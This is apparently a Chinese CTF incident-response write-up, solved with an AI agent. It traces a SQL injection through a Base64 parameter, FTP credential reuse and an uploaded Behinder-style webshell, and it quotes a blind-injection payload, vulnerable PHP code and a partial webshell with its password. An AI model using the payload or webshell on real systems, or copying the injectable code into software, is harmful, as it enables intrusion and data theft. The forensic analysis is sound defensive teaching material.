AI 搞定全程溯源应急响应
本文以一道 CTF 应急响应赛题为主线,借助 AI Agent + linux-ir 技能,完整复现攻击者从信息窃取、密码复用到上传 Webshell 的完整攻击链。三道题目涵盖日志分析、流量溯源、数据库取证,全程约 30 分钟完成解题,适合安全从业者和 CTF 选手参考。
背景
靶机通过 SSH 对外暴露,环境内部署了一套公交系统 PHP Web 应用,运行 Apache + MariaDB,并开放了 FTP 服务。
题目要求回答三个问题:
-
1. 分析中间件日志,找到黑客获取数据的第一个漏洞,并提取其窃取的前两个用户名 -
2. 分析流量,找到黑客密码复用爆破的 FTP 端口,并提交黑客下载的私密文件内容 -
3. 找到黑客上传的 Webshell 文件,提交其密码
环境踩点
登录靶机后,首先进行基础信息采集:
uname -a # Linux 5.15 / Ubuntu 22.04
cat /etc/os-release
ls /var/www/html/public/
# index.php search.php lost_and_found.php uploads/
关键目录:
-
• Web 根目录: /var/www/html/public/ -
• 日志路径: /access.log(同步挂载自/var/log/apache2/access.log) -
• 流量文件: /result1.pcap(19.6 MB)
Q1:SQL 注入漏洞溯源 + 数据提取
日志特征识别
grep -i "sqlmap" /access.log | head -5
日志中出现大量如下特征请求:
[攻击者IP] - - [22/Apr/2025] "GET /search.php?query=JyBBTkQgU0xFRVAoNSk... HTTP/1.1" 200 - "sqlmap/1.9#stable"
User-Agent 明确标注 sqlmap/1.9#stable,请求参数为 Base64 编码字符串。解码后:
import base64, urllib.parse
raw = urllib.parse.unquote("JyBBTkQgU0xFRVAoNSk...")
print(base64.b64decode(raw).decode())
# ' AND SLEEP(5)--
典型的时间盲注特征。
漏洞代码定位
查看 search.php 源码:
// /var/www/html/public/search.php
$encoded_query = $_GET['query'] ?? '';
$decoded_query = base64_decode($encoded_query);
$sql = "SELECT * FROM routes WHERE route_name = '" . $decoded_query . "'";
$result = $conn->query($sql);
问题根因:query 参数经 Base64 解码后直接拼接进 SQL 语句,无任何过滤或参数化处理。Base64 只是障眼法,无法防止注入。
sqlmap 提取顺序还原
通过分析 pcap 中 sqlmap 的时间盲注 payload,发现其数据提取语句使用了:
SELECT IFNULL(CAST(username AS NCHAR),0x20)
FROM bus_system.bus_drivers
ORDER BY password LIMIT 0,1
关键点:sqlmap 按 password 字段字母序排列提取,而非主键顺序。
登录数据库验证:
mysql -u root bus_system -e \
"SELECT username, password FROM bus_drivers ORDER BY password LIMIT 5;"
username password
sunyue 888888
chenhao Ch@19980808
changyuan cy1988
fengjuan fengjuan88
gaoxiang gx_fly
✅ Q1 答案:黑客获取的前两个用户名为
sunyue和chenhao
Q2:FTP 密码复用爆破 + 私密文件提取
确认 FTP 端口
标准端口 21 在 pcap 中均为 RST,ACK,端口处于关闭状态。
使用 tshark 分析非标准端口流量:
TSHARK=/Applications/Wireshark.app/Contents/MacOS/tshark
$TSHARK -r /tmp/result1.pcap \
-d tcp.port==2121,ftp \
-Y "ftp" \
-T fields -e tcp.stream -e ftp.request.command -e ftp.request.arg \
2>/dev/null | head -30
输出包含大量 USER / PASS 命令,且均来自端口 2121,特征:
-
• 短时间内大量并发连接(Hydra 风格) -
• 多账号轮询尝试( sunyue、chenhao、zhangwei、wangqiang…)
这些账号正是从 bus_drivers 表中 sqlmap 提取的凭证——密码复用攻击。
成功登录确认
$TSHARK -r /tmp/result1.pcap \
-d tcp.port==2121,ftp \
-Y "ftp.response.code == 230" \
-T fields -e tcp.stream -e ftp.response.arg \
2>/dev/null
Login successful. # zhangwei / zhangwei123
Login successful. # wangqiang / wq2024
追踪 PASV 数据流
登录成功后,攻击者执行了 RETR sensitive_credentials.txt。
FTP 被动模式(PASV)下服务端返回:
227 Entering Passive Mode (xxx,xxx,xxx,xxx,195,85)
数据端口计算:195 × 256 + 85 = 50005
追踪 TCP 流 7076(端口 50005)的原始数据:
$TSHARK -r /tmp/result1.pcap \
-Y "tcp.stream == 7076" \
-T fields -e data.text 2>/dev/null
输出:
INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025
✅ Q2 答案:FTP 开放端口为
2121,文件内容为INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025
Q3:Webshell 溯源 + 密码提取
日志定位上传行为
grep "POST" /access.log | grep -v "200\|302" | head
grep "uploads" /access.log | tail -20
关键日志条目:
[攻击者IP] - - "POST /lost_and_found.php HTTP/1.1" 200 -
[攻击者IP] - - "POST /uploads/shell1.php HTTP/1.1" 200 -
攻击路径清晰:lost_and_found.php 存在任意文件上传漏洞,攻击者上传了 shell1.php 并随即访问执行。
Webshell 文件分析
cat /var/www/html/public/uploads/shell1.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'woaiwojia';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
// XOR 解密 payload,动态执行
if (isset($_POST[$pass])) {
$data = encode(base64_decode($_POST[$pass]), $key);
// ...
}
这是典型的**冰蝎(Behinder)**风格 Webshell:
-
• 通信内容经 XOR 加密后 Base64 编码,绕过流量检测 -
• 密码字段为 $pass,值为明文字符串
✅ Q3 答案:Webshell 路径
/uploads/shell1.php,密码为woaiwojia
完整攻击链复盘
[信息收集]
└─ 访问 /search.php,发现 query 参数(Base64 编码)
[漏洞利用 - SQL 注入]
└─ sqlmap 时间盲注 → 提取 bus_drivers 表
└─ 按 password 字段排序 → 首先获取 sunyue / chenhao
[密码复用 - FTP 爆破]
└─ 用数据库凭证爆破非标端口 2121
└─ 成功登录 zhangwei / wangqiang
└─ RETR sensitive_credentials.txt → 获取内网 FTP 管理密码
[持久化 - Webshell 上传]
└─ 发现 lost_and_found.php 任意文件上传漏洞
└─ 上传冰蝎 Webshell → /uploads/shell1.php
└─ 密码: woaiwojia,XOR 加密通信
修复建议
|
|
|
|
|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/uploads/shell1.php,审计全量上传文件 |
工具链与方法论
本次分析主要使用:
-
• linux-ir 技能:结构化应急响应流程,覆盖日志、进程、持久化、文件排查 -
• tshark(Wireshark CLI):解码非标端口 FTP( -d tcp.port==2121,ftp),追踪 PASV 数据流 -
• Python3:Base64 + URL decode 还原 sqlmap payload,辅助解析提取顺序 -
• mysql CLI:直接查询数据库验证 sqlmap 提取的数据顺序
整个分析流程由 AI Agent(Claude + Cascade) 驱动,从日志分析、pcap 解码到数据库取证,全程自动化执行,显著提升应急响应效率。
本文所有操作均在授权 CTF 靶场环境中完成,严格遵守相关法律法规。
夜雨聆风